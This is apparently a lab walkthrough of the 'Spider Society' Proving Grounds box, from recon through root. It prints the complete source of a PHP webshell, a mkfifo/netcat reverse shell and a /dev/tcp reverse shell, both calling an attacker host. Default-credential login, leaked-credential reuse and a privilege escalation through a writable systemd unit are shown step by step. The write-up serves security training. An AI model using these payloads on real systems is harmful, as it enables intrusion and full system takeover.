Skip to content
HackIndex.io

SpiderSociety Writeup - Proving Grounds

Intermediate Linux
Discuss on Discord

Created October 8, 2026 • Last updated October 8, 2026 • 4 min read

The Husky Hacker

sysadmin

Spider Society leaks FTP backup credentials through an unauthenticated API endpoint behind a default-credential admin login, which gives write access to the web root over FTP for a PHP webshell. A secrets file reused for a system account provides SSH access, and a writable systemd unit combined with a passwordless sudo systemctl restart hands over root.

Reconnaissance

Nmap

Scan the target and grab service versions.

┌──(kali㉿kali)-[~]
└─$ nmap -p- -sCV $TARGET_IP 
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.8
80/tcp   open  http    Apache httpd 2.4.58 (Spider Society)
2121/tcp open  ftp     vsftpd 3.0.5
Explain command
-p- Scan all 65535 TCP ports.
-sCV Run the default scripts and probe service versions.

SSH, a web app, and FTP on a non-standard port. Brute force the website’s directories.

Directory discovery

Brute force directories.

┌──(kali㉿kali)-[~]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$TARGET_IP/ 
/images       (Status: 301)
/libspider    (Status: 301)
/server-status (Status: 403)
Explain command
-w Wordlist to brute force with.

/libspider redirects to a “Spider Society Control Panel” login page.

Exploitation

Default credentials and an unauthenticated secrets endpoint

Try the default admin credentials on the login form.

POST /libspider/login.php
username=admin&password=admin

The default credentials admin:admin are accepted, dropping into a control panel. A “Communications” button on the page calls fetch-credentials.php, and that endpoint returns data without checking the session at all.

┌──(kali㉿kali)-[~]
└─$ curl http://$TARGET_IP/libspider/fetch-credentials.php 
{"FTP_BACKUP_USER":"ss_ftpbckuser","FTP_BACKUP_PASS":"$FTPBCKUSER_PASSWORD"}

The leaked credentials belong to an FTP account. Log in on the non-standard FTP port.

FTP access to the web root

Connect and list the contents.

┌──(kali㉿kali)-[~]
└─$ ftp $TARGET_IP 2121 
Name: ss_ftpbckuser
Password: $FTPBCKUSER_PASSWORD
230 Login successful.
ftp> ls
404.html
images/
index.html
libspider/
simple.py

The FTP root maps directly onto the web server’s document root, so anything uploaded here is served over HTTP. Upload a PHP webshell.

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd'] . ' 2>&1');
    }
?>
</pre>
</body>
</html>
┌──(kali㉿kali)-[~]
└─$ put webshell.php
┌──(kali㉿kali)-[~]
└─$ chmod 755 webshell.php 
226 Transfer complete.
200 SITE CHMOD command ok.

Confirm execution through the browser-served copy.

┌──(kali㉿kali)-[~]
└─$ curl "http://$TARGET_IP/webshell.php?cmd=id" 
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Code execution confirmed as www-data. Catch a full reverse shell.

┌──(kali㉿kali)-[~]
└─$ nc -lnvp $ATTACKER_PORT
┌──(kali㉿kali)-[~]
└─$ curl -G "http://$TARGET_IP/webshell.php" --data-urlencode "cmd=rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc $ATTACKER_IP $ATTACKER_PORT >/tmp/f" 
www-data@spidersociety:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Shell as www-data. The protected file spotted earlier in libspider/ is now readable, since it is owned by this user.

Leaked application secrets

Read the hidden secrets file.

┌──(kali㉿kali)-[~]
└─$ cat libspider/.fuhfjkzbdsfuybefzmdbbzdcbhjzdbcukbdvbsdvuibdvnbdvenv 
FTP_BACKUP_USER=ss_ftpbckuser
FTP_BACKUP_PASS=$FTPBCKUSER_PASSWORD

DB_CONNECT_USER=spidey
DB_CONNECT_PASS=$SPIDEY_PASSWORD

A second pair of credentials belongs to a spidey account. Try the password for SSH.

┌──(kali㉿kali)-[~]
└─$ ssh spidey@$TARGET_IP 
spidey@spidersociety:~$ id
uid=1001(spidey) gid=1001(spidey) groups=1001(spidey)

The database password is reused for the system account, giving SSH access and local.txt.

Privilege Escalation

Writable systemd unit + passwordless restart

A custom backup service is installed on the host.

┌──(kali㉿kali)-[~]
└─$ systemctl cat spiderbackup.service 
[Unit]
Description=Spider Society Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/usr/local/bin/spiderbackup.sh
User=root
Group=root

[Install]
WantedBy=multi-user.target

The backing script is root-owned, but the unit file itself is group-writable by spidey.

┌──(kali㉿kali)-[~]
└─$ ls -l /usr/local/bin/spiderbackup.sh /etc/systemd/system/spiderbackup.service 
-rwxr-xr-x 1 root root   66 /usr/local/bin/spiderbackup.sh
-rw-rw-r-- 1 spidey spidey 193 /etc/systemd/system/spiderbackup.service

Check for passwordless sudo rights on the service.

┌──(kali㉿kali)-[~]
└─$ sudo -l 
User spidey may run the following commands on spidersociety:
    (ALL) NOPASSWD: /bin/systemctl restart spiderbackup.service

Overwrite the unit file’s ExecStart with a reverse shell, then reload and restart it as root.

[Unit]
Description=Spider Society Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c "bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1"
User=root
Group=root

[Install]
WantedBy=multi-user.target
┌──(kali㉿kali)-[~]
└─$ sudo systemctl daemon-reload
┌──(kali㉿kali)-[~]
└─$ sudo systemctl restart spiderbackup.service
┌──(kali㉿kali)-[~]
└─$ nc -lnvp $ATTACKER_PORT 
root@spidersociety:/# id
uid=0(root) gid=0(root) groups=0(root)

The writable unit file combined with the passwordless restart right gives a root shell.

Related

FTP Web Shell Upload
Blog

FTP Web Shell Upload

Upload web shells via FTP to gain remote code execution. Covers anonymous/authenticated access, shel...
FTP Credential Exploitation
Blog

FTP Credential Exploitation

Exploit FTP authentication weaknesses using anonymous access, brute-force attacks, and credential st...
Systemd Unit and Timer Privilege Escalation
Blog

Systemd Unit and Timer Privilege Escalation

Exploit misconfigured systemd units and timers with weak permissions or writable paths to escalate p...
Sudo Misconfiguration Privilege Escalation
Blog

Sudo Misconfiguration Privilege Escalation

Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entri...
Linux Reverse Shell Payloads and One-Liners
Blog

Linux Reverse Shell Payloads and One-Liners

Covers Linux reverse shell techniques using Bash, Python, Perl, Netcat and more for establishing rem...